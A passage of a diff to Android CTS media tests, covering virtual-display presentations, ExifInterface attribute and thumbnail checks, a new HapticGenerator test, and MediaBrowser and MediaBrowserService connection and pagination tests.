-                        if (VERBOSE) Log.d(TAG, "showing color=0x" + Integer.toHexString(color));
-                        presentation[0].show();
-                        latch.countDown();
-                    }
+                runOnUiThread(() -> {
+                    // Want to create presentation on UI thread so it finds the right Looper
+                    // when setting up the Dialog.
+                    presentation[0] = new TestPresentation(getContext(), mDisplay, color);
+                    if (VERBOSE) Log.d(TAG, "showing color=0x" + Integer.toHexString(color));
+                    presentation[0].show();
+                    latch.countDown();
                 });
 
                 // Give the presentation an opportunity to render.  We don't have a way to
                 // monitor the output, so we just sleep for a bit.
                 try {
                     // wait for the UI thread execution to finish
-                    latch.await();
+                    latch.await(5, TimeUnit.SECONDS);
                     Thread.sleep(UI_RENDER_PAUSE_MS);
-                } catch (InterruptedException ignore) {}
+                } catch (InterruptedException ignore) {
+                }
             } finally {
                 if (presentation[0] != null) {
-                    mPresentations.add(presentation[0]);
+                    presentation[0].dismiss();
+                    presentation[0] = null;
                 }
             }
         }
@@ -612,7 +603,6 @@
             super.onCreate(savedInstanceState);
 
             setTitle("Encode Virtual Test");
-            getWindow().setType(WindowManager.LayoutParams.TYPE_PRIVATE_PRESENTATION);
 
             // Create a solid color image to use as the content of the presentation.
             ImageView view = new ImageView(getContext());
diff --git a/tests/tests/media/src/android/media/cts/EncodeVirtualDisplayWithCompositionTestImpl.java b/tests/tests/media/src/android/media/cts/EncodeVirtualDisplayWithCompositionTestImpl.java
index 66bb0bf..c969515 100644
--- a/tests/tests/media/src/android/media/cts/EncodeVirtualDisplayWithCompositionTestImpl.java
+++ b/tests/tests/media/src/android/media/cts/EncodeVirtualDisplayWithCompositionTestImpl.java
@@ -1200,7 +1200,6 @@
             // This theme is required to prevent an extra view from obscuring the presentation
             super(outerContext, display,
                     android.R.style.Theme_Holo_Light_NoActionBar_TranslucentDecor);
-            getWindow().setType(WindowManager.LayoutParams.TYPE_PRIVATE_PRESENTATION);
             getWindow().addFlags(WindowManager.LayoutParams.FLAG_LOCAL_FOCUS_MODE);
             getWindow().addFlags(WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED);
         }
diff --git a/tests/tests/media/src/android/media/cts/ExifInterfaceTest.java b/tests/tests/media/src/android/media/cts/ExifInterfaceTest.java
index ac825fa..c67222e 100644
--- a/tests/tests/media/src/android/media/cts/ExifInterfaceTest.java
+++ b/tests/tests/media/src/android/media/cts/ExifInterfaceTest.java
@@ -16,6 +16,8 @@
 
 package android.media.cts;
 
+import static android.media.ExifInterface.TAG_SUBJECT_AREA;
+
 import android.content.res.TypedArray;
 import android.graphics.Bitmap;
 import android.graphics.BitmapFactory;
@@ -37,10 +39,8 @@
 import java.io.File;
 import java.io.FileDescriptor;
 import java.io.FileInputStream;
-import java.io.FileOutputStream;
 import java.io.IOException;
 import java.io.InputStream;
-import java.io.OutputStream;
 import java.nio.charset.StandardCharsets;
 
 @NonMediaMainlineTest
@@ -300,6 +300,8 @@
         } else {
             assertNull(exifInterface.getThumbnailRange());
             assertNull(exifInterface.getThumbnail());
+            assertNull(exifInterface.getThumbnailBitmap());
+            assertFalse(exifInterface.isThumbnailCompressed());
         }
 
         // Checks GPS information.
@@ -603,15 +605,15 @@
     }
 
     private void testThumbnail(ExpectedValue expectedValue, ExifInterface exifInterface) {
-        byte[] thumbnail = exifInterface.getThumbnailBytes();
-        // TODO: Add support for testing validity of uncompressed thumbnails
-        if (expectedValue.isThumbnailCompressed) {
-            Bitmap thumbnailBitmap = BitmapFactory.decodeByteArray(thumbnail, 0,
-                    thumbnail.length);
-            assertNotNull(thumbnailBitmap);
-            assertEquals(expectedValue.thumbnailWidth, thumbnailBitmap.getWidth());
-            assertEquals(expectedValue.thumbnailHeight, thumbnailBitmap.getHeight());
-        }
+        byte[] thumbnailBytes = exifInterface.getThumbnailBytes();
+        assertNotNull(thumbnailBytes);
+
+        // Note: NEF file (nikon_1aw1.nef) contains uncompressed thumbnail.
+        Bitmap thumbnailBitmap = exifInterface.getThumbnailBitmap();
+        assertNotNull(thumbnailBitmap);
+        assertEquals(expectedValue.thumbnailWidth, thumbnailBitmap.getWidth());
+        assertEquals(expectedValue.thumbnailHeight, thumbnailBitmap.getHeight());
+        assertEquals(expectedValue.isThumbnailCompressed, exifInterface.isThumbnailCompressed());
     }
 
     @Override
@@ -697,13 +699,6 @@
         readFromFilesWithExif(SRW_SAMSUNG_NX3000, R.array.samsung_nx3000_srw);
     }
 
-    public void testStandaloneDataForRead() throws Throwable {
-        readFromStandaloneDataWithExif(JPEG_WITH_EXIF_BYTE_ORDER_II,
-                R.array.standalone_data_with_exif_byte_order_ii);
-        readFromStandaloneDataWithExif(JPEG_WITH_EXIF_BYTE_ORDER_MM,
-                R.array.standalone_data_with_exif_byte_order_mm);
-    }
-
     public void testPngFiles() throws Throwable {
         readFromFilesWithExif(PNG_WITH_EXIF_BYTE_ORDER_II, R.array.png_with_exif_byte_order_ii);
         writeToFilesWithoutExif(PNG_WITHOUT_EXIF);
@@ -724,7 +719,7 @@
         writeToFilesWithoutExif(WEBP_WITHOUT_EXIF_WITH_LOSSLESS_ENCODING);
     }
 
-    public void testGetSetDateTime() throws IOException {
+    public void testGetSetDateTime() throws Throwable {
         final long expectedDatetimeValue = 1454059947000L;
         final String dateTimeValue = "2017:02:02 22:22:22";
         final String dateTimeOriginalValue = "2017:01:01 11:11:11";
@@ -757,6 +752,191 @@
         imageFile.delete();
     }
 
+    public void testIsSupportedMimeType() {
+        try {
+            ExifInterface.isSupportedMimeType(null);
+            fail();
+        } catch (NullPointerException e) {
+            // expected
+        }
+        assertTrue(ExifInterface.isSupportedMimeType("image/jpeg"));
+        assertTrue(ExifInterface.isSupportedMimeType("image/x-adobe-dng"));
+        assertTrue(ExifInterface.isSupportedMimeType("image/x-canon-cr2"));
+        assertTrue(ExifInterface.isSupportedMimeType("image/x-nikon-nef"));
+        assertTrue(ExifInterface.isSupportedMimeType("image/x-nikon-nrw"));
+        assertTrue(ExifInterface.isSupportedMimeType("image/x-sony-arw"));
+        assertTrue(ExifInterface.isSupportedMimeType("image/x-panasonic-rw2"));
+        assertTrue(ExifInterface.isSupportedMimeType("image/x-olympus-orf"));
+        assertTrue(ExifInterface.isSupportedMimeType("image/x-pentax-pef"));
+        assertTrue(ExifInterface.isSupportedMimeType("image/x-samsung-srw"));
+        assertTrue(ExifInterface.isSupportedMimeType("image/x-fuji-raf"));
+        assertTrue(ExifInterface.isSupportedMimeType("image/heic"));
+        assertTrue(ExifInterface.isSupportedMimeType("image/heif"));
+        assertTrue(ExifInterface.isSupportedMimeType("image/png"));
+        assertTrue(ExifInterface.isSupportedMimeType("image/webp"));
+        assertFalse(ExifInterface.isSupportedMimeType("image/gif"));
+    }
+
+    public void testSetAttribute() throws Throwable {
+        File srcFile = new File(mInpPrefix, JPEG_WITH_EXIF_BYTE_ORDER_MM);
+        File imageFile = clone(srcFile);
+
+        ExifInterface exif = new ExifInterface(imageFile.getAbsolutePath());
+        try {
+            exif.setAttribute(null, null);
+            fail();
+        } catch (NullPointerException e) {
+            // expected
+        }
+
+        // Test setting tag to null
+        assertNotNull(exif.getAttribute(ExifInterface.TAG_GPS_TIMESTAMP));
+        exif.setAttribute(ExifInterface.TAG_GPS_TIMESTAMP, null);
+        assertNull(exif.getAttribute(ExifInterface.TAG_GPS_TIMESTAMP));
+
+        // Test tags that are converted to rational values for compatibility:
+        // 1. GpsTimeStamp tag will be converted to rational in setAttribute and converted back to
+        // timestamp format in getAttribute.
+        String validGpsTimeStamp = "11:11:11";
+        exif.setAttribute(ExifInterface.TAG_GPS_TIMESTAMP, validGpsTimeStamp);
+        assertEquals(validGpsTimeStamp, exif.getAttribute(ExifInterface.TAG_GPS_TIMESTAMP));
+        // Check that invalid format is not set
+        String invalidGpsTimeStamp = "11:11:11:11";
+        exif.setAttribute(ExifInterface.TAG_GPS_TIMESTAMP, invalidGpsTimeStamp);
+        assertEquals(validGpsTimeStamp, exif.getAttribute(ExifInterface.TAG_GPS_TIMESTAMP));
+
+        // 2. FNumber tag will be converted to rational in setAttribute and converted back to
+        // double value in getAttribute
+        String validFNumber = "2.4";
+        exif.setAttribute(ExifInterface.TAG_F_NUMBER, validFNumber);
+        assertEquals(validFNumber, exif.getAttribute(ExifInterface.TAG_F_NUMBER));
+        // Check that invalid format is not set
+        String invalidFNumber = "invalid format";
+        exif.setAttribute(ExifInterface.TAG_F_NUMBER, invalidFNumber);
+        assertEquals(validFNumber, exif.getAttribute(ExifInterface.TAG_F_NUMBER));
+
+        // Test writing different types of formats:
+        // 1. Byte format tag
+        String gpsVersionId = "2.3.0.0";
+        exif.setAttribute(ExifInterface.TAG_GPS_VERSION_ID, gpsVersionId);
+        byte[] setGpsVersionIdBytes =
+                exif.getAttribute(ExifInterface.TAG_GPS_VERSION_ID).getBytes();
+        for (int i = 0; i < setGpsVersionIdBytes.length; i++) {
+            assertEquals(gpsVersionId.getBytes()[i], setGpsVersionIdBytes[i]);
+        }
+        // Test TAG_GPS_ALTITUDE_REF, which is an exceptional case since the only valid values are
+        // "0" and "1".
+        String gpsAltitudeRef = "1";
+        exif.setAttribute(ExifInterface.TAG_GPS_ALTITUDE_REF, gpsAltitudeRef);
+        assertEquals(gpsAltitudeRef.getBytes()[0],
+                exif.getAttribute(ExifInterface.TAG_GPS_ALTITUDE_REF).getBytes()[0]);
+
+        // 2. String format tag
+        String makeValue = "MakeTest";
+        exif.setAttribute(ExifInterface.TAG_MAKE, makeValue);
+        assertEquals(makeValue, exif.getAttribute(ExifInterface.TAG_MAKE));
+        // Check that the following values are not parsed as rational values
+        String makeValueWithOneSlash = "Make/Test";
+        exif.setAttribute(ExifInterface.TAG_MAKE, makeValueWithOneSlash);
+        assertEquals(makeValueWithOneSlash, exif.getAttribute(ExifInterface.TAG_MAKE));
+        String makeValueWithTwoSlashes = "Make/Test/Test";
+        exif.setAttribute(ExifInterface.TAG_MAKE, makeValueWithTwoSlashes);
+        assertEquals(makeValueWithTwoSlashes, exif.getAttribute(ExifInterface.TAG_MAKE));
+        // When a value has a comma, it should be parsed as a string if any of the values before or
+        // after the comma is a string.
+        int defaultValue = -1;
+        String makeValueWithCommaType1 = "Make,2";
+        exif.setAttribute(ExifInterface.TAG_MAKE, makeValueWithCommaType1);
+        assertEquals(makeValueWithCommaType1, exif.getAttribute(ExifInterface.TAG_MAKE));
+        // Make sure that it's not stored as an integer value.
+        assertEquals(defaultValue, exif.getAttributeInt(ExifInterface.TAG_MAKE, defaultValue));
+        String makeValueWithCommaType2 = "2,Make";
+        exif.setAttribute(ExifInterface.TAG_MAKE, makeValueWithCommaType2);
+        assertEquals(makeValueWithCommaType2, exif.getAttribute(ExifInterface.TAG_MAKE));
+        // Make sure that it's not stored as an integer value.
+        assertEquals(defaultValue, exif.getAttributeInt(ExifInterface.TAG_MAKE, defaultValue));
+
+        // 3. Unsigned short format tag
+        String isoSpeedRatings = "800";
+        exif.setAttribute(ExifInterface.TAG_ISO_SPEED_RATINGS, isoSpeedRatings);
+        assertEquals(isoSpeedRatings, exif.getAttribute(ExifInterface.TAG_ISO_SPEED_RATINGS));
+        // When a value has multiple components, all of them should be of the format that the tag
+        // supports. Thus, the following values (SHORT,LONG) should not be set since TAG_COMPRESSION
+        // only allows short values.
+        assertNull(exif.getAttribute(ExifInterface.TAG_COMPRESSION));
+        String invalidMultipleComponentsValueType1 = "1,65536";
+        exif.setAttribute(ExifInterface.TAG_COMPRESSION, invalidMultipleComponentsValueType1);
+        assertNull(exif.getAttribute(ExifInterface.TAG_COMPRESSION));
+        String invalidMultipleComponentsValueType2 = "65536,1";
+        exif.setAttribute(ExifInterface.TAG_COMPRESSION, invalidMultipleComponentsValueType2);
+        assertNull(exif.getAttribute(ExifInterface.TAG_COMPRESSION));
+
+        // 4. Unsigned long format tag
+        String validImageWidthValue = "65536"; // max unsigned short value + 1
+        exif.setAttribute(ExifInterface.TAG_IMAGE_WIDTH, validImageWidthValue);
+        assertEquals(validImageWidthValue, exif.getAttribute(ExifInterface.TAG_IMAGE_WIDTH));
+        String invalidImageWidthValue = "-65536";
+        exif.setAttribute(ExifInterface.TAG_IMAGE_WIDTH, invalidImageWidthValue);
+        assertEquals(validImageWidthValue, exif.getAttribute(ExifInterface.TAG_IMAGE_WIDTH));
+
+        // 5. Unsigned rational format tag
+        String exposureTime = "1/8";
+        exif.setAttribute(ExifInterface.TAG_APERTURE_VALUE, exposureTime);
+        assertEquals(exposureTime, exif.getAttribute(ExifInterface.TAG_APERTURE_VALUE));
+
+        // 6. Signed rational format tag
+        String brightnessValue = "-220/100";
+        exif.setAttribute(ExifInterface.TAG_BRIGHTNESS_VALUE, brightnessValue);
+        assertEquals(brightnessValue, exif.getAttribute(ExifInterface.TAG_BRIGHTNESS_VALUE));
+
+        // 7. Undefined format tag
+        String userComment = "UserCommentTest";
+        exif.setAttribute(ExifInterface.TAG_USER_COMMENT, userComment);
+        assertEquals(userComment, exif.getAttribute(ExifInterface.TAG_USER_COMMENT));
+
+        imageFile.delete();
+    }
+
+    public void testGetAttributeForNullAndNonExistentTag() throws Throwable {
+        // JPEG_WITH_EXIF_BYTE_ORDER_MM does not have a value for TAG_SUBJECT_AREA tag.
+        File srcFile = new File(mInpPrefix, JPEG_WITH_EXIF_BYTE_ORDER_MM);
+        File imageFile = clone(srcFile);
+
+        ExifInterface exif = new ExifInterface(imageFile.getAbsolutePath());
+        try {
+            exif.getAttribute(null);
+            fail();
+        } catch (NullPointerException e) {
+            // expected
+        }
+        assertNull(exif.getAttribute(TAG_SUBJECT_AREA));
+
+        int defaultValue = -1;
+        try {
+            exif.getAttributeInt(null, defaultValue);
+            fail();
+        } catch (NullPointerException e) {
+            // expected
+        }
+        assertEquals(defaultValue, exif.getAttributeInt(TAG_SUBJECT_AREA, defaultValue));
+
+        try {
+            exif.getAttributeDouble(null, defaultValue);
+            fail();
+        } catch (NullPointerException e) {
+            // expected
+        }
+        assertEquals(defaultValue, exif.getAttributeInt(TAG_SUBJECT_AREA, defaultValue));
+
+        try {
+            exif.getAttributeBytes(null);
+            fail();
+        } catch (NullPointerException e) {
+            // expected
+        }
+        assertNull(exif.getAttributeBytes(TAG_SUBJECT_AREA));
+    }
+
     private static File clone(File original) throws IOException {
         final File cloned =
                 File.createTempFile("cts_", +System.nanoTime() + "_" + original.getName());
diff --git a/tests/tests/media/src/android/media/cts/HapticGeneratorTest.java b/tests/tests/media/src/android/media/cts/HapticGeneratorTest.java
new file mode 100644
index 0000000..2b82dc2
--- /dev/null
+++ b/tests/tests/media/src/android/media/cts/HapticGeneratorTest.java
@@ -0,0 +1,99 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.cts;
+
+import android.media.AudioManager;
+import android.media.audiofx.HapticGenerator;
+
+@NonMediaMainlineTest
+public class HapticGeneratorTest extends PostProcTestBase {
+
+    private String TAG = "HapticGeneratorTest";
+
+    //-----------------------------------------------------------------
+    // HAPTIC GENERATOR TESTS:
+    //----------------------------------
+
+    //-----------------------------------------------------------------
+    // 0 - constructor
+    //----------------------------------
+
+    //Test case 0.0: test constructor and release
+    public void test0_0ConstructorAndRelease() throws Exception {
+        if (!HapticGenerator.isAvailable()) {
+            // HapticGenerator will only be created on devices supporting haptic playback
+            return;
+        }
+        HapticGenerator effect = createHapticGenerator();
+        // If the effect is null, it must fail creation.
+        effect.release();
+    }
+
+    // Test case 0.1: test constructor and close
+    public void test0_1ConstructorAndClose() throws Exception {
+        if (!HapticGenerator.isAvailable()) {
+            // HapticGenerator will only be created on devices supporting haptic playback
+            return;
+        }
+        HapticGenerator effect = createHapticGenerator();
+        // If the effect is null, it must fail creation.
+        effect.close();
+    }
+
+    //-----------------------------------------------------------------
+    // 1 - Effect enable/disable
+    //----------------------------------
+
+    //Test case 1.0: test setEnabled() and getEnabled() in valid state
+    public void test1_0SetEnabledGetEnabled() throws Exception {
+        if (!HapticGenerator.isAvailable()) {
+            // HapticGenerator will only be created on devices supporting haptic playback
+            return;
+        }
+        HapticGenerator effect = createHapticGenerator();
+        try {
+            effect.setEnabled(true);
+            assertTrue("invalid state from getEnabled", effect.getEnabled());
+            effect.setEnabled(false);
+            assertFalse("invalid state from getEnabled", effect.getEnabled());
+            // test passed
+        } catch (IllegalStateException e) {
+            fail("setEnabled() in wrong state");
+        } finally {
+            effect.release();
+        }
+    }
+
+    private HapticGenerator createHapticGenerator() {
+        try {
+            HapticGenerator effect = HapticGenerator.create(getSessionId());
+            try {
+                assertTrue("invalid effect ID", (effect.getId() != 0));
+            } catch (IllegalStateException e) {
+                fail("HapticGenerator not initialized");
+            }
+            return effect;
+        } catch (IllegalArgumentException e) {
+            fail("HapticGenerator not found");
+        } catch (UnsupportedOperationException e) {
+            fail("Effect library not loaded");
+        } catch (RuntimeException e) {
+            fail("Unexpected run time error: " + e);
+        }
+        return null;
+    }
+}
diff --git a/tests/tests/media/src/android/media/cts/MediaActivityTest.java b/tests/tests/media/src/android/media/cts/MediaActivityTest.java
index 6e6658b..8cbe255 100644
--- a/tests/tests/media/src/android/media/cts/MediaActivityTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaActivityTest.java
@@ -33,6 +33,7 @@
 import android.os.Handler;
 import android.os.Looper;
 import android.os.SystemClock;
+import android.util.Log;
 import android.view.KeyEvent;
 
 import androidx.test.InstrumentationRegistry;
@@ -55,7 +56,7 @@
 import java.util.concurrent.TimeUnit;
 
 /**
- * Test media activity which has called {@link Activity#setMediaController}.
+ * Test {@link MediaSessionTestActivity} which has called {@link Activity#setMediaController}.
  */
 @NonMediaMainlineTest
 @LargeTest
@@ -140,7 +141,13 @@
 
         for (int stream : mStreamVolumeMap.keySet()) {
             int volume = mStreamVolumeMap.get(stream);
-            mAudioManager.setStreamVolume(stream, volume, 0);
+            try {
+                mAudioManager.setStreamVolume(stream, volume, /* flag= */ 0);
+            } catch (SecurityException e) {
+                Log.w(TAG, "Failed to restore volume. The test probably had changed DnD mode"
+                        + ", stream=" + stream + ", originalVolume="
+                        + volume + ", currentVolume=" + mAudioManager.getStreamVolume(stream));
+            }
         }
     }
 
diff --git a/tests/tests/media/src/android/media/cts/MediaBrowserServiceTest.java b/tests/tests/media/src/android/media/cts/MediaBrowserServiceTest.java
index e7ef364..0e23ebf 100644
--- a/tests/tests/media/src/android/media/cts/MediaBrowserServiceTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaBrowserServiceTest.java
@@ -15,9 +15,18 @@
  */
 package android.media.cts;
 
+import static android.media.browse.MediaBrowser.MediaItem.FLAG_PLAYABLE;
+import static android.media.cts.MediaBrowserServiceTestService.KEY_PARENT_MEDIA_ID;
+import static android.media.cts.MediaBrowserServiceTestService.KEY_SERVICE_COMPONENT_NAME;
+import static android.media.cts.MediaBrowserServiceTestService.TEST_SERIES_OF_NOTIFY_CHILDREN_CHANGED;
+import static android.media.cts.MediaSessionTestService.KEY_EXPECTED_TOTAL_NUMBER_OF_ITEMS;
+import static android.media.cts.MediaSessionTestService.STEP_CHECK;
+import static android.media.cts.MediaSessionTestService.STEP_CLEAN_UP;
+import static android.media.cts.MediaSessionTestService.STEP_SET_UP;
 import static android.media.cts.Utils.compareRemoteUserInfo;
 
 import android.content.ComponentName;
+import android.media.MediaDescription;
 import android.media.browse.MediaBrowser;
 import android.media.browse.MediaBrowser.MediaItem;
 import android.media.session.MediaSessionManager.RemoteUserInfo;
@@ -27,6 +36,9 @@
 import android.service.media.MediaBrowserService.BrowserRoot;
 import android.test.InstrumentationTestCase;
 
+import androidx.test.core.app.ApplicationProvider;
+
+import java.util.ArrayList;
 import java.util.List;
 
 /**
@@ -102,7 +114,7 @@
     private Bundle mRootHints;
 
     @Override
-    protected void setUp() throws Exception {
+    public void setUp() throws Exception {
         getInstrumentation().runOnMainSync(new Runnable() {
             @Override
             public void run() {
@@ -125,6 +137,14 @@
         assertNotNull(mMediaBrowserService);
     }
 
+    @Override
+    public void tearDown() {
+        if (mMediaBrowser != null) {
+            mMediaBrowser.disconnect();
+            mMediaBrowser = null;
+        }
+    }
+
     public void testGetSessionToken() {
         assertEquals(StubMediaBrowserService.sSession.getSessionToken(),
                 mMediaBrowserService.getSessionToken());
@@ -143,6 +163,16 @@
         }
     }
 
+    public void testNotifyChildrenChangedWithNullOptionsThrowsIAE() {
+        try {
+            mMediaBrowserService.notifyChildrenChanged(
+                    StubMediaBrowserService.MEDIA_ID_ROOT, /*options=*/ null);
+            fail();
+        } catch (IllegalArgumentException e) {
+            // Expected
+        }
+    }
+
     public void testNotifyChildrenChangedWithPagination() throws Exception {
         synchronized (mWaitLock) {
             final int pageSize = 5;
@@ -160,6 +190,28 @@
             mMediaBrowserService.notifyChildrenChanged(StubMediaBrowserService.MEDIA_ID_ROOT);
             mWaitLock.wait(TIME_OUT_MS);
             assertTrue(mOnChildrenLoadedWithOptions);
+
+            // Notify that the items overlapping with the given options are changed.
+            mOnChildrenLoadedWithOptions = false;
+            final int newPageSize = 3;
+            final int overlappingNewPage = pageSize * page / newPageSize;
+            Bundle overlappingOptions = new Bundle();
+            overlappingOptions.putInt(MediaBrowser.EXTRA_PAGE_SIZE, newPageSize);
+            overlappingOptions.putInt(MediaBrowser.EXTRA_PAGE, overlappingNewPage);
+            mMediaBrowserService.notifyChildrenChanged(
+                    StubMediaBrowserService.MEDIA_ID_ROOT, overlappingOptions);
+            mWaitLock.wait(TIME_OUT_MS);
+            assertTrue(mOnChildrenLoadedWithOptions);
+
+            // Notify that the items non-overlapping with the given options are changed.
+            mOnChildrenLoadedWithOptions = false;
+            Bundle nonOverlappingOptions = new Bundle();
+            nonOverlappingOptions.putInt(MediaBrowser.EXTRA_PAGE_SIZE, pageSize);
+            nonOverlappingOptions.putInt(MediaBrowser.EXTRA_PAGE, page + 1);
+            mMediaBrowserService.notifyChildrenChanged(
+                    StubMediaBrowserService.MEDIA_ID_ROOT, nonOverlappingOptions);
+            mWaitLock.wait(WAIT_TIME_FOR_NO_RESPONSE_MS);
+            assertFalse(mOnChildrenLoadedWithOptions);
         }
     }
 
@@ -232,6 +284,41 @@
         assertEquals(val, browserRoot.getExtras().getString(key));
     }
 
+    /**
+     * Check that a series of {@link MediaBrowserService#notifyChildrenChanged} does not break
+     * {@link MediaBrowser} on the remote process due to binder buffer overflow.
+     */
+    public void testSeriesOfNotifyChildrenChanged() throws Exception {
+        String parentMediaId = "testSeriesOfNotifyChildrenChanged";
+        int numberOfCalls = 100;
+        int childrenSize = 1_000;
+        List<MediaItem> children = new ArrayList<>();
+        for (int id = 0; id < childrenSize; id++) {
+            MediaDescription description = new MediaDescription.Builder()
+                    .setMediaId(Integer.toString(id)).build();
+            children.add(new MediaItem(description, FLAG_PLAYABLE));
+        }
+        mMediaBrowserService.putChildrenToMap(parentMediaId, children);
+
+        try (RemoteService.Invoker invoker = new RemoteService.Invoker(
+                ApplicationProvider.getApplicationContext(),
+                MediaBrowserServiceTestService.class,
+                TEST_SERIES_OF_NOTIFY_CHILDREN_CHANGED)) {
+            Bundle args = new Bundle();
+            args.putParcelable(KEY_SERVICE_COMPONENT_NAME, TEST_BROWSER_SERVICE);
+            args.putString(KEY_PARENT_MEDIA_ID, parentMediaId);
+            args.putInt(KEY_EXPECTED_TOTAL_NUMBER_OF_ITEMS, numberOfCalls * childrenSize);
+            invoker.run(STEP_SET_UP, args);
+            for (int i = 0; i < numberOfCalls; i++) {
+                mMediaBrowserService.notifyChildrenChanged(parentMediaId);
+            }
+            invoker.run(STEP_CHECK);
+            invoker.run(STEP_CLEAN_UP);
+        }
+
+        mMediaBrowserService.removeChildrenFromMap(parentMediaId);
+    }
+
     private void assertRootHints(MediaItem item) {
         Bundle rootHints = item.getDescription().getExtras();
         assertNotNull(rootHints);
diff --git a/tests/tests/media/src/android/media/cts/MediaBrowserServiceTestService.java b/tests/tests/media/src/android/media/cts/MediaBrowserServiceTestService.java
new file mode 100644
index 0000000..0db43d9
--- /dev/null
+++ b/tests/tests/media/src/android/media/cts/MediaBrowserServiceTestService.java
@@ -0,0 +1,111 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.cts;
+
+import static org.junit.Assert.assertTrue;
+
+import static java.util.concurrent.TimeUnit.MILLISECONDS;
+
+import android.annotation.Nullable;
+import android.content.ComponentName;
+import android.media.browse.MediaBrowser;
+import android.media.browse.MediaBrowser.MediaItem;
+import android.os.Bundle;
+import android.os.Handler;
+import android.os.Looper;
+
+import java.util.List;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.atomic.AtomicInteger;
+
+public class MediaBrowserServiceTestService extends RemoteService {
+    public static final int TEST_SERIES_OF_NOTIFY_CHILDREN_CHANGED = 0;
+
+    public static final int STEP_SET_UP = 0;
+    public static final int STEP_CHECK = 1;
+    public static final int STEP_CLEAN_UP = 2;
+
+    public static final String KEY_SERVICE_COMPONENT_NAME = "serviceComponentName";
+    public static final String KEY_PARENT_MEDIA_ID = "parentMediaId";
+    public static final String KEY_EXPECTED_TOTAL_NUMBER_OF_ITEMS = "expectedTotalNumberOfItems";
+
+    private final Handler mMainHandler = new Handler(Looper.getMainLooper());
+    private MediaBrowser mMediaBrowser;
+    private CountDownLatch mAllItemsNotified;
+
+    private void testSeriesOfNotifyChildrenChanged_setUp(Bundle args) throws Exception {
+        ComponentName componentName = args.getParcelable(KEY_SERVICE_COMPONENT_NAME);
+        String parentMediaId = args.getString(KEY_PARENT_MEDIA_ID);
+        int expectedTotalNumberOfItems = args.getInt(KEY_EXPECTED_TOTAL_NUMBER_OF_ITEMS);
+
+        mAllItemsNotified = new CountDownLatch(1);
+        AtomicInteger numberOfItems = new AtomicInteger();
+        CountDownLatch subscribed = new CountDownLatch(1);
+        MediaBrowser.ConnectionCallback connectionCallback = new MediaBrowser.ConnectionCallback();
+        MediaBrowser.SubscriptionCallback subscriptionCallback =
+                new MediaBrowser.SubscriptionCallback() {
+                    @Override
+                    public void onChildrenLoaded(String parentId, List<MediaItem> children) {
+                        if (parentMediaId.equals(parentId) && children != null) {
+                            if (subscribed.getCount() > 0) {
+                                subscribed.countDown();
+                                return;
+                            }
+                            if (numberOfItems.addAndGet(children.size())
+                                    >= expectedTotalNumberOfItems) {
+                                mAllItemsNotified.countDown();
+                            }
+                        }
+                    }
+                };
+        mMainHandler.post(() -> {
+            mMediaBrowser = new MediaBrowser(this, componentName, connectionCallback, null);
+            mMediaBrowser.connect();
+            mMediaBrowser.subscribe(parentMediaId, subscriptionCallback);
+        });
+        assertTrue(subscribed.await(TIMEOUT_MS, MILLISECONDS));
+    }
+
+    private void testSeriesOfNotifyChildrenChanged_check() throws Exception {
+        assertTrue(mAllItemsNotified.await(TIMEOUT_MS, MILLISECONDS));
+    }
+
+    private void testSeriesOfNotifyChildrenChanged_cleanUp() {
+        mMainHandler.post(() -> {
+            mMediaBrowser.disconnect();
+            mMediaBrowser = null;
+        });
+        mAllItemsNotified = null;
+    }
+
+    @Override
+    public void onRun(int testId, int step, @Nullable Bundle args) throws Exception {
+        if (testId == TEST_SERIES_OF_NOTIFY_CHILDREN_CHANGED) {
+            if (step == STEP_SET_UP) {
+                testSeriesOfNotifyChildrenChanged_setUp(args);
+            } else if (step == STEP_CHECK) {
+                testSeriesOfNotifyChildrenChanged_check();
+            } else if (step == STEP_CLEAN_UP) {
+                testSeriesOfNotifyChildrenChanged_cleanUp();
+            } else {
+                throw new IllegalArgumentException("Unknown step=" + step);
+            }
+        } else {
+            throw new IllegalArgumentException("Unknown testId=" + testId);
+        }
+    }
+}
diff --git a/tests/tests/media/src/android/media/cts/MediaBrowserTest.java b/tests/tests/media/src/android/media/cts/MediaBrowserTest.java
index 8c7d63d..fc832fb 100644
--- a/tests/tests/media/src/android/media/cts/MediaBrowserTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaBrowserTest.java
@@ -54,6 +54,14 @@
 
     private MediaBrowser mMediaBrowser;
 
+    @Override
+    public void tearDown() {
+        if (mMediaBrowser != null) {
+            mMediaBrowser.disconnect();
+            mMediaBrowser = null;
+        }
+    }
+
     public void testMediaBrowser() {
         resetCallbacks();
         createMediaBrowser(TEST_BROWSER_SERVICE);
@@ -78,6 +86,40 @@
         }.run();
     }
 
+    public void testThrowingISEWhileNotConnected() {
+        resetCallbacks();
+        createMediaBrowser(TEST_BROWSER_SERVICE);
+        assertEquals(false, mMediaBrowser.isConnected());
+
+        try {
+            mMediaBrowser.getExtras();
+            fail();
+        } catch (IllegalStateException e) {
+            // Expected
+        }
+
+        try {
+            mMediaBrowser.getRoot();
+            fail();
+        } catch (IllegalStateException e) {
+            // Expected
+        }
+
+        try {
+            mMediaBrowser.getServiceComponent();
+            fail();
+        } catch (IllegalStateException e) {
+            // Expected
+        }
+
+        try {
+            mMediaBrowser.getSessionToken();
+            fail();
+        } catch (IllegalStateException e) {
+            // Expected
+        }
+    }
+
     public void testConnectTwice() {
         resetCallbacks();
